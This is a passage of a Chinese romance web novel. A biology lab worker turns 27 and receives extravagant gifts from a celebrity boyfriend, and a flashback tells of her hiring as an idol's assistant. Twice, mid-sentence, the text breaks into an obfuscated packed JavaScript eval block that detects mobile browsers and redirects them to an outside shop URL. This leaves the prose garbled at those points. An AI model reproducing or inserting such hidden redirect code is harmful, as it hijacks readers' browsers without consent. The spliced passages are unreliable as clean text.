不梦当即保存镜图,记录数据,起身去报告林组。 林组过来一看,眉头微蹙,又叫来主管。两人对着显微镜审看片刻,核对了原始记录与培养条件,又去隔壁架子上看了几板同批次的细胞。 最终,林组将可疑细胞样本收走,送去分析室做基因型鉴定与核型分析。 结果不用等也能猜到。 自发转化,恶性变异。 林组语气平静:“整批废弃,这组原代种子风险太高,遗传背景已经彻底不稳定了,不适合再挑单克隆。源头细胞系停用核查,全部重做。” 一声令下,整个实验组十几人,立刻进入加班。 没有人说一个字的抱怨。 五百多板96孔,外加三百五十来板24孔、六十来板6孔,三十几瓶T25和十四瓶T75,全部清空重来。 换液、传代、配液、消毒、清点耗材、重开实验批次,机械臂在舱内匀速运转,发出规律而密集的嗒、嗒、嗒、嗒,夹爪开合、吸嘴切换、板位平移,一刻不停。通风橱前的人轮流替换,脚步不停,忙却有序。 培养箱指示灯依次亮起,时间被刻度和浓度填满。 白天过去,天色暗透,实验室依旧灯火通明。恒温恒湿,机器低鸣,移液器吸液排液的轻响密集到麻木,时而交织离心机关闭的咔嗒声。 下班和回家,这两件事没人敢去想。 因为连分神都是奢侈,出去吃工作餐都争分夺秒,几口垫垫腹,便换上衣服跑进来。腊月十三的夜,就这样在操作台间熬过去。 不梦一直守在一线,核对每一支试剂,复核每一步操作,小陈换了三双手套,声音发哑:“苏姐,你要不要歇会儿?” 她摇头,只把新配好的培养液递过去。 夜过去,天亮,又是一天。 直到第二天傍晚,所有初始批次终于接种完毕,数据录入完毕,台面清理完毕,紧绷的节奏才稍稍松了一丝。 所有人这才敢真正喘口气。 三十几个小时没合眼,实验室灯光白得刺痛。 不梦出了风淋室,摘下手套,洗手,烘干。瞄一眼电子钟,公历日期旁,几个小字,腊月十四。 她已经在连轴转的加班里,提前把自己耗空了。 脑子却还是清醒的,这是她最熟悉的生理反应,肾上腺素退下去之后,身体会进入一种空洞的清明,像被抽干了所有情绪的器皿,干净,透明,什么都没有。 今夜还是不能走,要等时间,观测新细胞形态,增殖情况,还要筛选克隆,扩培冻存。 大家出来培养室,撕开背后的魔术贴,将这件连续穿了八个小时,早已闷出一身黏腻的洁净服褪下,卷成一团,直接投入医疗废物桶。随后摘下口罩和手套,才觉得那层被封印的感官重新活了过来,晃晃僵硬的脖子,到仪器分析室喘口气。 林组安抚大家:“都吃点东西,休息会儿吧,让宝宝们长一会儿,等一二个小时再换衣服进去。” 众人发出一声松绑的叹息。 不梦靠在工位上,眯眼小寐,朦朦中,手机准时传来嗡嗡声,她知道那是什么。 每年、每次、雷打不动的东西。 她指尖停在上面,抵着屏幕,好一会儿,才点开。 界面一弹开,满屏烟花炸开。一连串表情包蹦出来。 微信转账:520000 备注:生日快乐宝贝 时间精准卡在:00:00 腊月十五。 她的生日,终于还是来了。以她最逃不开的方式,撞进她精疲力尽的一刻。 二十七岁。 紧跟着一条语音弹出,一口低沉、正宗、咬字清晰的伦敦腔,慢悠悠念: “Happybirthday,mybaby.” 尾音落下,紧接着一声重重、清脆的“mua”,像是真的对着手机屏幕,狠狠亲了一口。 不梦握着手机,指节久久弯曲着,思维凝滞了一般。 实验室外是深夜,室内灯火通明,人声低微。 4. 四 爱情分式 四 四年零三个月。 一年有2.14情人节、3.14白色情人节、3.8妇女节、520网络情人节、七夕情人节,最后是她的生日,每次固定的数字:520000。 这个数字,顶她三年多的纯工资。她来生物园起早贪黑四年,一步步熬资履,拿死工资,争绩效,总共攒了三十二万。 这些年来,他转过来的红包总额,早有八位数了。 不梦不是不爱钱,钱谁不爱。 一开始,她任由二十四小时后转账退回。 直到,小白的电话从傍晚打到凌晨,最后他嘶哑着嗓子威胁说:“苏不梦,你不收是吧?行,我明天就全部取成现金,扛到你实验室楼下,一沓一沓递给你。你还不收,我就去国贸楼上,一把一把撒下去。你看明天热搜是你还是我。” 她太清楚他做得出来。 顶流疯起来,从来不计代价。 从那以后,每一年生日,每个情人节,52万的转账雷打不动地转过来。 她只能默默点收款,然后一分不动地存在一张单独的银行卡里。 像存一笔随时会爆炸的证物。 她一分不敢花,更不敢忘,这是他用疯劲,硬塞进她人生里一段印记。 但这还不是全部。 到了中午工作餐时间,果然外面一阵骚动,连安静的实验室走廊都挤满了探头探脑的人。 最先进来是一辆特制加宽加固的恒温冷链车。它不像普通送货的小推车,更像一座移动冷库,被一群穿着统一制服的店员前后簇拥着,一点点挪进办公区。 为了迎接这位“不速之客”,公司大厅那扇厚重的平移门被完全敞开,露出了平时专门用于运送大型仪器的货运通道。司机打着方向盘一点点挪,轮胎蹭着墙角,小心调整角度斜着卡进过道,店员们围在两侧,像护着什么易碎的展品,身体紧贴墙壁,不敢呼吸。 他们没往办公区送,一路径直抬去了员工食堂。 这家生物公司规模精简,但二三百人的团队也足以撑起一个不算小的就餐区。 蛋糕一落地,就霸道地占据了食堂中心,拿餐的队伍只能到一边贴着墙,八个店员加上几个热心的男同事合力抬,底座的承重支架沉如巨石。其他同事见状放下餐盘,熟练地把所有就餐桌拼起来,才勉强承下这座蛋糕山。 艰难拆去外包装,最底层直径目测约有四米区间。 像一张30人围坐的圆桌那么宽,往上层层收窄,呈规整的塔状。中心支撑柱是一根近两米的透明亚克力管,3D全息悬浮火烛,冷光投影成空气成像。一立起来,分明是一座蛋糕宫殿。 奶油是柔润的乳黄色,边缘一圈圈新鲜切花,再以鎏金线描边。从上到下,逐层铺的全是奢侈级按颗卖的进口水果:淡雪白草莓、日本晴王葡萄、静冈蜜瓜、石川红宝石葡萄、金车厘子、麒麟火龙果、燕窝果、黄龙果、黑金刚莲雾、澳洲芒果......摆得像高定珠宝展。最底层的缝隙里撒着可食用金箔、巧克力钻、焦糖脆片,连装饰都是手工吹制的糖艺花朵。 边框二十七支LED烛排成整整齐齐的光环,遥控一开,灯光流转,看得人眼花缭乱。 顶层一块水晶糖牌,用烫金手写体刻着: “爱不梦,岁岁无忧,天长地久。” 落款只有三个龙飞凤舞的大字:白先生。 蛋糕刚安顿稳,后面又浩浩荡荡进来一拨人,抬着一个直径两米多的巨型果篮,直接搁在了拿餐区。篮身是定制藤编镶金边,裹着一层透明膜,里面是只在杂志上见过的稀缺热带水果,堆成一座小山,果香隔着几米都能闻见。 紧跟着,三辆满载红玫瑰的货车开进来,二十几名花店员工乌泱泱现场紧急操作,做出一个9999朵扎成的心形花墙,鲜红如血的花瓣带着水珠,与色调单一的办公楼撞出极强的冲击力。 不梦指尖还沾着实验台的酒精味,蛋糕店、花店、水果店的人递给她签收单让她签字。 她太熟这套阵仗了。 她来公司的第一年,就被这样轰炸过。 那天,食堂瞬间就炸了。 同事们从前后各个楼层纷纷跑下来,喧哗声、拍照声,一浪高过一浪。动静大到直接惊动了顶楼的老总和一众高管,从办公室下来,西装革履地站在一旁,看着那座“庞然大物”,再看看果篮和花墙,眼神里全是打量和忌惮。 老总走到不梦身边,语气客气得反常,笑着旁敲侧击:“小苏,是吧,这位白先生......是你家里人?方便问一句,是做哪一行的吗?” 不梦站在人群中央,脸色发白,尴尬得说不出话。 这一场无声的排场,她算过,抛开人工运输,光是蛋糕、巨型果篮与近万朵玫瑰,就抵得上一线城市一套房的首付,一家小型生物实验室的启动资金。他只用来在她公司,摆一天。 生物公司人人学历亮眼,心气不低,平日里见惯了动辄百万的仪器,对钱本不算敏感。 可这时刻,食堂中心、拿餐区、院子,三处景象连在一起,抨击着眼球,不免激起心中那份落差,看向不梦的眼神,蒙上一层区别。 别说她们一个研发部,就是整条生产线,研发中心整栋楼的人,加蛋糕店花店水果店员工,凑过来分,都吃不完。 每次都是这样,大家簇拥着唱完生日歌,象征性地吹完蜡烛,店员师傅推来一架折叠梯,有人扶着,有人递工具。 师傅系着围裙,戴着手套、口罩,拎着把长蛋糕刀,踩着梯子先上顶层。 几人配合着,五层高的蛋糕,一层一层往下切,梯子换了三次,奶油和水果的香气慢慢溢出来,混在飘着消毒水味的食堂空气里,极致的浪漫闯进这样严肃的场所,说不上是违和,还是荒诞。 不梦只能硬着头皮,拿餐盒给大家分,一边分,一边听着周围此起彼伏的祝福和羡慕,脸上要笑着,心里却虚浮发慌。 最后,蛋糕吃不完只能扔,水果被大家分着带走。院子里的红玫瑰,除了少数女同事拿了几支,剩下的就那么摆在院外,无人打理,慢慢等着枯萎,入垃圾桶。 从那时起,全公司都心照不宣。 培养室的那个苏不梦,千万不能追!她有个出手不凡,背景深到连老总都要掂量的大佬男友在身后。 甚至,四年来因为这位“男友”从不露面,隐约传出她被包养的说法。 在这座靠学历、技术和死工资撑起来的生物园里,她身上被他用钱和排场,贴了一道与众不同的标签。 后来日子久了,大家便也见怪不怪。 一到腊月十五这一天,高层早对下打好了招呼,大门放行,专用通道进场,一路绿灯。 这份能量,早已不是一句“有钱”能概括。 同事们见了,也只打趣:“小苏生日又到了!”“男朋友又送蛋糕来了。”“真幸福!” 又说:“我们不能总白吃你的蛋糕,该准备礼物和礼金。” 吓得不梦连忙拒绝。 晚上下班,回到公寓楼下。 肩颈酸如坠石,代谢率拉满,人快空了。只想赶快洗个澡去睡。 刚走到快递驿站门口,手机就弹出提醒,有大件快递待签收,备注还写着:贵重物品,需本人当面验收。 她心里咯噔一下。 驿站小哥把几件大小不一的箱子搬出来,全是印着专业仪器logo的白色硬纸盒,一看就价值不菲。她扫了一眼快递单,心瞬间沉了下去,便携式科研显微镜、排枪移液器、人体工学椅、全年期刊订阅,还有一张卡片。 上面是熟悉的钢笔字迹,龙飞凤舞。 “不梦,生日快乐。 希望这些设备能助你在科研路上更进一步。 照顾好自己。 杨博” 她今天太累,有两个大件搬不上去。 跟驿站小哥说了声,先不签收,等明天再下来取。 她刷卡进楼,电梯一路升到她住的那一层,脑中回忆着那天看到的号码,编辑了条信息,发出去。 门张开,走廊里没一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590650|205448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人,安静的只有她的脚步声,声控灯随之一盏盏亮起。 她低头去包里掏着钥匙,往拐角处的家门口走。 这时,身后忽然压过来一道高大的阴影。 不梦余光看到,后背猛一个激灵,全身汗毛瞬间竖了起来。 她几乎是条件反射要往前冲,喉咙里已经憋住了一声“救命”,只差喊冲出口。 那人口罩鸭舌帽墨镜包裹得严严实实,只露出一截清晰利落的下颔线,整张脸藏在帽檐的阴影里。 要不是那身形实在太过挺拔俊朗,气场又熟悉得让人心慌,她早就在走廊里尖叫起来。 下一秒,一只强劲有力的手臂轻轻一揽,从后面稳稳圈住她。 身上传来一股淡郁的香气。 那是某个顶奢的牌子,喜马拉雅雪松的清冽裹着乌木的沉厚,还有一缕白麝香的冷感余韵。是只有被金钱堆砌出来的底气,才能养出的味道。 是她一闻到,心就发紧的气息。 男人压低了声音,嬉皮笑脸,还是那样桀骜的眉峰,几分委屈的黏糊:“这么久没见,一见我就要跑啊?” 不梦浑身一软,手里的钥匙“当啷”一声掉在地上。 是小白。 他没松手,反而更自然地拥着她,低头凑在她耳边,轻喃道:“愣着干什么?开门啊,我可是专程,回来给我的小朋友过生日的。” 不梦缓口气,努力抚平心跳,捡起钥匙开锁。 门刚拉开一道细缝,小白便迫不及待地推着她往里进,门板砰一声重重阖上。 下一秒,开关声响起,灯光乍亮,她就被他那高大精瘦的身躯牢牢抵在门板上,堵的严严实实。 “骗我是吧?”话音落,唇被狠狠地攫住。 温顺又执拗的小猫,用霸蛮的力道,啖舐着,啮咬着,标记她每一处。 他是一场毫无预兆的海啸。 有些靠近,从一开始就注定是倾覆。 从深海里卷上来的巨浪,带着滔天炽热的熔岩,汹汹地漫过她固守已久的岸。 她守了二十多年的堤岸,他一靠近,所有防线层层溃退。 狂风席卷着铺天盖地的海水跌宕而来,将她席卷抛入半空,狂烈吞噬着礁石、海岸、村庄。 风暴中,他们相缠对坐,像风眼中央短暂停驻的一瞬,下一刻,就被无边浪涛彻底吞没。 她仰起头,望着一片空白的天花板,视线失焦,颈后湿透。 浪头一次次卷过,将她所有理智悉数冲走,身子轻得像浮在云端,又倏忽沉得跌进海底,在层浪里一浮一沉,摔得粉碎又被拼起来。 那不是人间的欢愉,是死亡前的幻象。 等到浪终于退去,世界重归寂静。她躺在狼藉里,只剩一片被冲刷过后的空白与虚脱,像生了一场大病。 她清楚地知道,这是高危毒株的入侵。 是稳态彻底崩坏...... *** 初见时,她二十二,他二十。 她那会儿刚大学毕业,来北京漂,早已经泡惯了实验室,看人还带着写论文跑数据的习惯。从发育生物学去剖析,从生理阶段去归类。 眼前这个少年,身高已超过一米九,骨架舒展,肌肉线条是刚成型不久的紧致,皮脂薄,皮肤冷白,神情倨傲,目中无人。 下颌还带着一点未完全褪去的少年软组织,喉结突出,嗓音已经沉下来,可眼神亮得发脆。 她在心里不由自主地记录:『雄性人类,晚熟型,刚完成青春期末次发育冲刺。骨骼钙化接近完成,体脂率低,肌肉量优,骨相优越,基因堪称完美。生殖机能完全成熟,但情绪中枢尚未完全稳定,边缘系统活跃』 典型的青春期晚期至成年早期过渡个体。 简单说就是,身体已经成年,但是大脑的情绪系统还在发育中。情绪阈值偏高,生理性成熟度拉满,但社会性未完全定型,尚未完成进行性驯化。 浑身上下充斥着不安定因素。 可那时,他已是炽手可热的爱豆了。 5. 五 爱情分式 五 有些人出生在尘埃,有些人出生在罗马。 世界从来就没有公平可言。 而小白,就是那个生来在罗马的人。 社会是一座金字塔,从高到低,层层垒砌。人生的分层线是那道羊水,小白出了羊水,就站在塔顶,普通人穷尽一生都在仰望的终点。 让-雅克·卢梭说:“人类在自然状态下是平等的,私有制出现后,人类陷入贫富分化与阶级对立。” 马克思说:“从封建社会的灭亡中产生出来的现代资产阶级社会,并没有消灭阶级对立,它只是用新的阶级、新的压迫条件、新的斗争形式代替了旧的。?” 启蒙思想教我们“人人生而平等”。 但巴尔扎克用91部小说完成的巨著《人间喜剧》,证明,阶级与金钱,才是社会的真实法则。 金字塔,是运行一个社会的基盘,也是每个人一生都绕不开的重力场。 那是北京一个燥热的夏天,蝉鸣嘶喊着,柏油路面快晒化了,踩上去,热气直蹿脚底。 不梦刚下火车,拖着行李箱走出西客站。人潮涌来涌去,噪音裹着热浪往脸上拍。 还是早上,太阳已经老大,烧火一般灼晒着。她站在路边,盯着手机屏幕,搜一个叫“星曜娱乐”的坐标,路线。 她背上有一笔债,数字是二十万,还款期限是两年。 早在毕业典礼之前,她就已经在网上疯狂投简历,翻遍了生物专业所有对口的工作。和同学一聊,大家口径一致,咱们这专业自来被称作天坑,苛刻得狠,只认硕博。本科出来,顶天就是初级岗,去医药产业园,进基层实验室,或是走疫苗流水线,再不济就去宠物医院。 她一条条查过薪资。 不是只有生物应届生,她认识的人里,不管什么专业的应届生,出来第一份工资都只有几千块,全靠熬资历、熬工龄。 照这个速度,别说两年,四年都未必凑得齐二十万。 走投无路之下,她只能暂时转行。 有同学假期在娱乐公司打杂,说底薪加提成,做得好能过万,还包食宿,包手机费。 不梦把心一横,所有对口岗位全部关掉,改投了影视娱乐这一类公司。果然收到了面试邮件。 北京太大,时间都耗在路上。她舍不得打的,一路转地铁、转公交,拖着行李箱在烈日下步行。等终于赶到那间娱乐公司楼下时,已经下午过半。 豪华气派的楼层,整片整片的玻璃幕墙在阳光下晃得人睁不开眼,像个被点亮的水晶方盒。刚走近就被门禁保安拦下来,语气防备地说,面试不在这里,在四公里外的居民楼里。 就业Offer上并没有注明。 不梦打开邮件看了看,匆匆道过谢,又甩开腿,踩着发烫的鞋底往那边赶。 路上差点迷向,行李箱滚轮磨着柏油路,磨出了火星,额角的汗水流进眼睛,她来不及擦。沿途岔路都长得一样,进了一片居民楼的林海,才终于站在树荫下喘口气,衣裳和头发早被浸透,黏腻地贴在身上。她拿出包里的保温杯,仰脖咕咚咕咚灌水,就着水,用两分钟的时间,进肚一大块面包。然后,拨通了邮件里留下的那个手机号。 北京是片大平原,要不从前叫北平呢。快七点了,太阳还悬在半空,周围像个不停添柴的大蒸笼。 接电话的是个年轻女声,语气大是不耐烦,厉声斥责她迟到,没一点时间概念,面试早就结束了。 不梦攥着手机连连道歉,好话一句接一句地堆,软着嗓子叫美女,说全是自己不好,耽误了对方时间,又反反复复说自己真的很需要这份工作,求对方通融一次。 那边语气才松了些,报了小区名字,怡然家园。 不梦悬着的心才算稍落下,按着指引进了单元楼,面试就在一楼。 门一拉开,站在面前的是个穿着时髦、烫着金发的女孩,妆容靓丽,举止利索,带着城里姑娘惯有的矜傲。 上下打量她一番,让她进去。 面试倒还算顺利。 对方翻了翻她的资料,淡淡说,先试用一个月,再统一培训三个月。 试用期无薪水,培训期每个月两千,包住包吃,住的是公司统一安排的宿舍,多人间,上下铺。吃的每天有餐馆送盒饭来,十元标准的。 不梦不停点头,默默记下。 金发女孩靠在沙发上,一条一条念着规矩:“进了这儿,公司所有条款必须无条件遵守。不该问的别问,不该看的别看,不该拍的,半个镜头都不能有。” “从今天起,你所有社交账号全部上缴,微信、微博、QQ、email,全都要报备,绑定公司监管,密码统一登记。 以后发任何一条动态,都得先经过审核,不许私自更新,不许私自跟外人透露公司任何信息。” 她坐在沙发里,盘起腿,喝着咖啡,抬眼扫了不梦一下,语气尖刻:“我们会查你底。查你有没有在别的经纪公司、传媒公司挂过名,是不是别家派来的间谍,有没有偷跑物料、挖人、卖信息的前科。一旦查出来有问题,直接开除,还要追责。” 她强调了最关键的几条:“绝对不能是公司任何艺人的粉丝,更别提什么私生饭。追星心态、迷恋心态、想借机靠近明星的,一律不要!记住,你进公司是来打工做事,守规矩的,不是来追星星的!还有,你如果敢偷拍,敢给狗仔递信,敢私下联系艺人,敢蹲点跟车,直接走人!全行业拉黑,永不录用!” 说完,她把一叠薄薄的协议推到不梦面前。 “能接受,就签字。不能接受,现在就可以走。” 不梦看着纸上一行行的条款,又想起自己那必须在两年内凑齐的二十万,还是拿起了笔。 当晚在宿舍上铺住下,六人间,另外几个也是年轻的打工妹,简单寒暄两句,报了姓名。 楼上楼下十几个宿舍,多半是已经就职的,剩下是培训新人,冲娱乐公司的光环来的,天南海北,操着带方言的普通话。 不梦吃了点包里的饼干,到外面洗漱间冲了冲,到头便睡了。 第二天便开始了集训。 没有想象中星光熠熠的培训厅,只是小区楼里一间隔出来的大房间,摆着几张长桌,墙上贴满密密麻麻的注意事项。 带她们培训的还是那个面试她的金发女孩,大家都叫她萧姐。 萧姐往前面一站,叉着胳膊,开口就是规矩:“听好了,从今天起,你们学的不是怎么追星!而是怎么当艺人的手脚、耳朵、防火墙。听懂没有?” 一屋子人齐声应和。 “第一,嘴要严。艺人行程、航班、酒店、情绪、身体状况、私人关系,全是机密!出去敢乱嚼舌根,跟朋友炫耀,发朋友圈漏一点信息,直接滚!” “第二,手要干净。不许碰艺人私人物品,不许乱翻包,不许偷拍照片,不许录语音,更不许把任何东西往外传。别想着存几张私下照片以后能卖钱,行业里有专门查这个的,查到,让你在整个圈子彻底消失。” “第三,眼要准,腿要快。艺人出门,你要提前查天气、查路线、查现场安保、查有没有可疑人员蹲守。水要递到温度刚好,饭要按忌口点好,行程表要精确到分钟。让你走,你不能停,让你等,你不能烦。” “第四,身份要摆死。你们是工作人员,不是粉丝。不许跟艺人要签名,不许要合影,更不许撒娇套近乎,不许盯着人看。艺人跟你说话,听着,不跟你说话,别觍个脸凑上去。记住一条铁律:你们是来上班的,不是来圆梦的!” “第五,应急处理。遇到代拍、私生、记者围堵,第一时间挡在艺人前面,清路、安抚、引导,不能慌,不能躲,不能让艺人受一点挤、一点吓。遇到媒体访问,问到敏感问题,你们要会挡话,会圆话,要说得含蓄委婉,不能乱答,得罪媒体,更不能不答,让媒体胡乱猜测。” “第六,手机纪律。工作机统一管理,除了工作内容,不准拍、不准录、不准存。私人手机进工作区域一律静音,不该掏的时候绝对不能掏。” 一上午全是理论,条例加案例,听得人头皮发麻。 下午开始实操。 模拟接机、模拟跟行程、模拟现场围堵、模拟应对代拍、模拟整理艺人行李、模拟对接剧组和品牌。 萧姐站在旁边盯着,一点不对就当场骂:“头抬那么高干什么?看镜头还是看艺人?” “东西不提前检查?等艺人渴死了你再递?” “有人围上来你躲后面?要你干什么吃的?笨得像脑残!” “没有人管你累不累,会不会,难不难。这里只认一条:听话、能干、守规矩、不惹事。” 不梦站在人群里,安安静静地学,安安静静地记。 旁边的人悄悄抱怨太累太严太不人道,她只默默把每一句要求刻在心里。 她不是来追什么星光的,她也从来没有追星的爱好,她只是来挣那二十万的。 到了社会这座熔炉,不管多么严疴,她都能忍下来。 培训三个月,本就是句说给外人听的场面话。 刚到第二个月,不梦就被提前抽出来,跟着老人上岗打杂。 她心里清楚,那所谓三个月的培训,真正的目的从来不是教她们做事,而是查底细。 从家庭到学校,从父母职业到社交圈子,甚至有没有恋情,有没有沾过乱七八糟的事,连她大学几年里和哪些同学有过的交集,都被翻来覆去查了个底朝天。 她出身普通,无依无靠,家里也没有任何复杂背景。她个人更无追星的喜好,更和娱乐圈半点不沾边,社交绝对洁净,从无关注某位明星的动态,干净得像一张白纸。 也正是这份干净到一无所有,才让她被留了下来,被推到了离星光最近的地方。 入职前,不梦被按在桌前签了厚厚一叠文件,其中最刺目的,就是那份终身保密协议。 HR面无表情,指尖点在白纸黑字上,声音像程序化的人机:“不论是公司内部事务,还是艺人所有隐私、行程、情绪,或未公开物料,以及负面消息,都是商业机密,一律不准对外透露半个字!不管是跟你的家人,还是朋友,或是网上匿名,都不行。” “一旦有任何关于公司,关于艺人的八卦,从你这里漏出去,直接追究违约责任,赔偿金一百万起步。注意,是一百万起步,具体金额按事态严重程度往上估价。别说你现在赔不起,就算你以后打工十年二十年,这笔债,也会追你一辈子。” 不梦握着笔的手都在抖。 一百万。 这个数字轻飘飘落在纸上,却重得能把她整个人压碎。 她忽然一阵恍惚,难道这个世界早就进化成了“协议社会”? 什么人情,温度,底线,最后全部变成白纸黑字,一条条框住你、锁住你、警告你。 来这里短短一个月,她到底签了多少东西? 入职协议、培训协议、宿舍协议、设备使用协议、行为规范协议、保密协议…… 厚厚一叠,她连内容都没力气细看,只被告知:看也没用,不同意就别干。 原来从踏进这栋大楼开始,她就不是在找一份工作,是在把自己的自由、嘴巴、情绪、隐私,一点点打包卖掉。 她忽然很轻地笑了一下,又苦又凉。 这哪里是娱乐圈,这是一个用协议堆起来的牢笼。 打杂,才算真正跨进了另一个阶层。 她终于能走进那栋整片玻璃幕墙,在阳光下亮得刺眼的公司主楼,不再是只能在居民楼里受训的外人。 公司是业内排得上号的大型综合娱乐公司,经纪和影视业务于一体。主楼里冷气开得足,地板光可鉴人。电梯分员工梯、艺人和高管梯,每层的卫生间都区分员工和艺人的,空气里飘着淡淡的香氛味,和之前闷热拥挤的宿舍,狭小压抑的培训室,完全是两个世界。 不梦的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她在乎的是,可以直接跳过试用期,领正常工资,但是只有底薪4000,加绩效1500,共5500,她其实有种上当的感觉。 好在是税后,有五险一金。她算了算,两年后离职,加上公积金,她那笔债务的数字,缺口不大。 目前只能先做着,一边看看有没有薪水更高的工作。 打杂的同事挤在杂物间啃盒饭的时候,大家或多或少都萌生退意。 “真熬不下去了,这日子跟寄人篱下似的。” 一个扎着马尾的姑娘咬着筷子,声音憋屈,“一大早就叫我来加班收拾会议室,晚上十点还得等着收艺人的道具,连口热饭都吃不安稳。一个月就几千块,够干什么的?” 另一个戴眼镜的男生叹了口气,扒拉了一口冷掉的青菜: “这地方阶级分得太清楚了,咱们在杂物间啃盒饭,艺人在顶层休息室吃私人厨师做的营养餐。咱们挤员工梯挤得像沙丁鱼,艺人走专属电梯,连门都不用自己开。咱们累死累活没人看见,稍微做错一点就被骂得狗血淋头,艺人皱个眉,全公司都得围着转。” 有人接话,语气里满是绝望:“阶级?这根本就是天壤之别,说白了,咱们就是最底层的蝼蚁,连给艺人提鞋都不够格。” 又一个女生说:“我昨天给一个二线艺人送资料,她连眼皮都没抬一下,助理直接把资料从我手里抢过去,跟打发要饭的似的。” 话题扯到薪水,杂物间里瞬间安静了几秒,随即又爆发出更沉重的议论。 “咱们这打杂的,几千块死工资,楼上经纪人办公室那些人,随便一个提成,都比咱们一年的工资多。” 有人压低声音:“你们听说了吗?公司有规定,经纪人能拿艺人收入的百分之二十当提成。咱们公司那几个顶流,一场商演就几十万、上百万,商务代言几千万起步,百分之二十啊,那就是几万、十几万?” 不梦忽然懂公司为什么要签保密协议了。 “咱们公司最赚钱的艺人是谁啊?” “好像是白灝辰、智见、徐与徹,这三位顶流。” “白灝辰?天哪!”马尾女孩眼睛放光,“就是那个......那个VORTEX-G组合的主唱,长得特别帅,高高的,演了两部大制作的白灝辰?” “除了他还能有谁。”老员工扒拉着冷饭,传授见识的态度,“智见是正儿八经科班出身的演技派,拿过视帝,业内认可度高,戏口碑稳,粉丝粘性高。可一说到招商、带货、流量变现,就是比不过白跟徐。” 有人小声追问:“那白灝辰......真的家里有背景啊?” “可不是嘛。”老员工往门口瞟了一眼,声音压得更低,“他是新生流量,粉丝购买力最强,家里底子又厚,资源是真的好,国外大牌都青睐他。影歌两栖,出道就爆,是公司抢回来的王牌,最好的剧本,最好的团队,最好的曝光,全可着他先来。” 不梦坐在角落,默默听着,一句话没搭腔。 “那徐与徹呢?” “徐与徹是选秀出身,一步一个脚印,靠公司一点点捧出来的。粉丝死忠,自带热度。” 三个顶流,三条路。 智见靠熬,徐与徹靠捧,白灝辰......天生就站在起点之上。 “熬吧,熬吧,熬个二三年,当上助理,当上经纪人,这些个顶流,指缝里漏出来一星点,就够咱们外面打拼十年的,去哪里不是熬心血、熬工龄。” 众人一阵叹息:“熬吧......” 马尾女孩一脸憧憬地:“什么时候能见白灝辰一面啊?” 旁边的女生用肘尖推了推她:“你想怎样?忘了就职协议了?仔细给上面知道,开除你。还得赔违约金。” 旁边另一个问:“我来了快一年,怎么没见过白灝辰啊?” 老员工说:“不常来,我天天在这,只见过一次,确实帅。工作都是经纪人对接。毕竟是全公司捧着的太子爷,连老总都要给三分面子。” 6. 六 爱情分式 六 不梦在九楼经纪人会议室收拾椭圆桌的时候,玻璃门被猛推开,一位波浪卷的年轻女士红着眼走了进来,一坐下就埋下头,肩膀一抽一抽的。 没过几秒,又走进来一位四十岁上下的女士,留着法式短发,身着剪裁利落的雾霾蓝西装套裙,腰间系着LV标识的金属扣腰带。 一看就是公司主管级别的高层。 她快步跟上来,语气带着安抚,却没忘了扫一眼在场的不梦,对她说:“你先出去,把门带上。” 不梦立刻低下头,轻手轻脚地退出去。 合上那道隔音不算太好的玻璃门。 她站在走廊角落的咖啡机前,清洗杯盏,里面的声音断断续续,清晰地飘出来。 “他就那副毒舌嘴,不是一日两日了,担待些。”是那位高层。 “太过分了......”年轻女士抽噎着,“我、我就劝他赶紧背台词,他就骂我整天逼逼叨叨,骂得那么难听,还让我立刻滚蛋。” “他说了,除了结算你的提成,再给你打三十万,算是合作结算。别哭了啊,我跟Miles说说,给你换个好相处的。” “Simon姐......”年轻女士人吸了吸鼻子,“我算看清了,就没有好相处的艺人。一个两个,拿助理当下人,新人刚来还谦虚些,一有点颜色,有点粉丝,就踩着下面的人秀优越。姐,我不想干了!” “不想干了,干什么?”Simon姐换了口气,没了和颜悦色的耐心,轻哼两声:“你出去看看,除了这行,你见过什么工作,能有这么高的薪水?说白了,做什么工作不挨骂不背锅?想赚钱,就得受委屈。你学学Sunny,就一脑门搞钱,什么委屈都吞,从来没听她抱怨过,拿来变现才是硬道理。” 这句话落下,会议室里静了一瞬。 不梦擦干净杯盏,拎起装满废纸和杂物的垃圾袋,丢进垃圾桶。 原来在这里,委屈是可以标价的,尊严是可以折现的。 一句“滚蛋”,所有的难堪与眼泪,值三十万呢。 大约是怕泄露明星私人秘密,拿钱堵嘴呢。 下午快三点时,打杂领班忽然在走廊喊住不梦,叫她立刻上九楼,去主管办公室一趟。 她没多问,快步进了电梯,数字一层层往上跳,玻璃外是首都车辆川流的街道,阳光正烈,轿厢里安静得没有一点声音。 这一层都是主管办公室、会议室,走廊尽头的办公室门虚掩着。她抬手敲了两下。 “请进。” 门一推开,视线先撞上一整面水晶顶灯,墙边立着几盆长势极好的大型绿植,空气里飘着紫罗兰的香薰味。 墙角挂着几张装裱好的艺人海报,都是星曜当红的面孔,光鲜得很刺眼。 办公桌宽大干净,桌后端坐着上午在会议室安抚人的Simon姐,旁边站着HR的Miles,手里捏着一个牛皮纸档案袋,上面三个大字:苏不梦。 两人目光一齐落在她身上。 Simon姐直接开口:“我看了杂物室的监控,别人都在扎堆闲聊,就你一个人安安静静吃饭。领班也说,你话少,不惹事。” 她指尖轻点一下电脑回车键,小指的铂金尾戒泛着细碎的光,语气是命令式的,不容置疑:“我是白灝辰团队的经纪人总监。你被录用了,做他的生活助理。明天就上班。” 旁边的Miles顺势把档案袋往桌沿推了一寸,补充道:“底薪上调两千,提成另算。后续跟着团队走。” “现在去准备吧,我们会给你一个月的考察期。能不能留下来,签长期合同,要看你的本事。”Simon已不再看她,转了转办公椅,把她的资料袋放进抽屉。 